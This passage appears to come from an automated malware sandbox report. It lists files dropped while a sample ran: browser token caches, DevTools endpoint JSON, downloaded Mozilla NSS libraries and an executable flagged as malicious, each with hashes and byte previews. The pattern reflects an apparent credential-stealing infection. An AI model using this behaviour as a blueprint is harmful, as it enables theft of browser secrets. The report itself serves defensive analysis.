QFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.858500145079071
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxrxl9Il8u2SYj+CRDSVlvd0d/MgLd1rc:mqYASYaASVlvEMZ
MD5:	41BF5AF0B0E1BFFBD935F293355109EA
SHA1:	EAB0AB3D30E49F74DCBB4EE2C452C6F37D5CAF73
SHA-256:	4DDE588889DFA71C8B5083C92809055C6B0F170805F1DCCEE0A9EE6A34503016
SHA-512:	52C3DA1941836C962BCB1AD0DBBED8C78E298D0CD302242A790EA71B86DD4E71A40BAA7DD0098238734973D9A190D046F348BC8F2D652CB2D51ABEC5D83C0F91
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.G.T.m.h.Z.s.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.c.U.W.Y.V.2.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.993506281220512
Encrypted:	false
SSDEEP:	96:FYAH+GSHrxvw2KTRhQz6ewp5jsLL41UBUP90e:FtH+GCahXO6ewAab90e
MD5:	FA38C4D354447113974BB771608F1BDF
SHA1:	6B5EAFE58C03EA87AC200FB0197574679C58F581
SHA-256:	FE0694F432DE5356CF8F4B4DBA2D59A145473187CA819D3FEA3142671215F13A
SHA-512:	2B02C4C2DD4358EDD794B2EBD7196ED0390CBA013567550C56843019E412B0B55A543F6BEA2D1CEF1C2A8E948F604628435C85BA53FBD33708E58644AF515DE7
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".i.U.f.V.a.p.M.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.c.U.W.Y.V.2.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9092075047751815
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xhxl9Il8u22Fr50wHuMkT7OvRUETqGcZ0HQEHqQRd/vc:a/YA2Fr6wHuMkHOvRUGqxZR0qQA
MD5:	E49E5FB0D8DE1F18B50B33C7D9F54CA6
SHA1:	90CF381CE1DCB354735AB489FFE3C96EB228818C
SHA-256:	61BB1BEFCF3380BD97FB6AFDF2ABE7DB8C805A236B58D221CE70D2F5F14D6A5E
SHA-512:	8A0A9C4EF8D07F093790BA021E1C3B7951BB3E094EAD718EE57BC7AE69D4F0E4AA3ECBD12C7E513771ABC0DEBFD900414B519EE80C6623015C51E10A221F52BE
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".L.i.f.U.m.2.R.a.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.c.U.W.Y.V.2.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.386823080836737
Encrypted:	false
SSDEEP:	96:6NnQOHQ5NnQkbQ9NnQPLA9QPjNnQZdgEQENnQgQVNnQQDQ8NnQDMwQyXNnQQISzt:6NqNENKNQdNeNNfNMMGXNlISRL
MD5:	FE0A00769A47349D6FD6BB38A965F0DB
SHA1:	44330AEF86FEF43CC62A646B7D0757F0133783F7
SHA-256:	7C333564945BE5C26C38A1DC31F80FAB248F258A0133CAC254E1BB1BACD12C9A
SHA-512:	FDEC42C343915039A997AA07CF2B7DFF6989E582B030C245CBA900B9E942E3EA28E7D1A715D601C005DA1B3D317D7C56EF4AB273B56914CB37EE7B79D1E3A429
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7041F4BF995EE02D6C8EF21F62D386B7",.. "id": "7041F4BF995EE02D6C8EF21F62D386B7",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7041F4BF995EE02D6C8EF21F62D386B7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/205A566C310D386A5278B68A090DDFBD",.. "id": "205A566C310D386A5278B68A090DDFBD",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/205A566C310D386A5278B68A090DDFBD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.370340694347774
Encrypted:	false
SSDEEP:	48:SfNaoQBTEQefNaoQtPYP5QtPcfNaoQpQffNaoQJ+C/C80UrU0U8QJ+CW:6NnQBTEQGNnQtARQtANnQpQ3NnQQgV0O
MD5:	97BF5691ACA81080AFB90B1D4C8633AA
SHA1:	4CA564BEE89668F7D5F7C360A20EB49AE26C112F
SHA-256:	905EB387CA7EF19253DCEE1904561CB4E6194ED0CD5D01641A6E7D4FC1A15B83
SHA-512:	B09700848ED9D5D1347DBEECBE794E8459149473B637222963EF94378731E84B4824B932071D7BA29F380ED2C893CBB7E354E1ACC07F969C9ABA529261A56C85
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C832D8261F792811E9CB755E292AD3DF",.. "id": "C832D8261F792811E9CB755E292AD3DF",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C832D8261F792811E9CB755E292AD3DF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/794E65609AA2CAF52DF81BFD2D1F052F",.. "id": "794E65609AA2CAF52DF81BFD2D1F052F",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/794E65609AA2CAF52DF81BFD2D1F052F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1858048
Entropy (8bit):	7.948808820686896
Encrypted:	false
SSDEEP:	49152:j++S/0Cfy6rIyGFA0F8yU/qfb7u5CpRvSM/TG:y+89yxyGrdVfcCpRlK
MD5:	AE0E62A9AE1F471958341B45817B6804
SHA1:	E13376D4BDB2E56751DC4C52D9AD24ED55D72877
SHA-256:	9B73356104654687374DFAB3C5554E15DFB402A1089750D9C431E1C4964DE8CB
SHA-512:	50D4EB6392626E7A337104E00EB819767F051BBE8975555B1621C88AF4F1FC1D1F0B44360C94DE00F7BD20D2590964D3FEDAC79C0BEF9B334B934C87D19C2A83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@..........................0J.....9.....@.................................W...k.......H...................<.I...............................I..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...hwqxmwlo.@....0..<..................@...mfzfwoib......I......4..............@....taggant.0....J.."...8..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\210d4dee-87fd-4ae9-8661-ecf0191088ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\25d586c6-a64f-4f1d-9727-966941cf0114.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\3c439e75-a91d-4934-a6a4-88cd8a9024f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\40392e98-9681-44bd-bcc5-26e48d3d1dc7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\a1fb2531-a8b8-496a-bd7c-9707832af8da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1586521
Entropy (8bit):	7.992483140560207
Encrypted:	true
SSDEEP:	49152:EnF+Y3G39D5VifJOiqpDmGb0CftR04uyZIjjhsF5bFLOHMr:EF+Y32VifxsnlUyYjhsFJFUu
MD5:	DE2F97C75F67F66BB0FE8A28F65A2C6F
SHA1:	722A28140EDF3D58F3BB3B4813D237BF077B028A
SHA-256:	BF36A6FFA7A84607AC059AF2C878A14294F75907CAC7612A5A1B375692BAD784
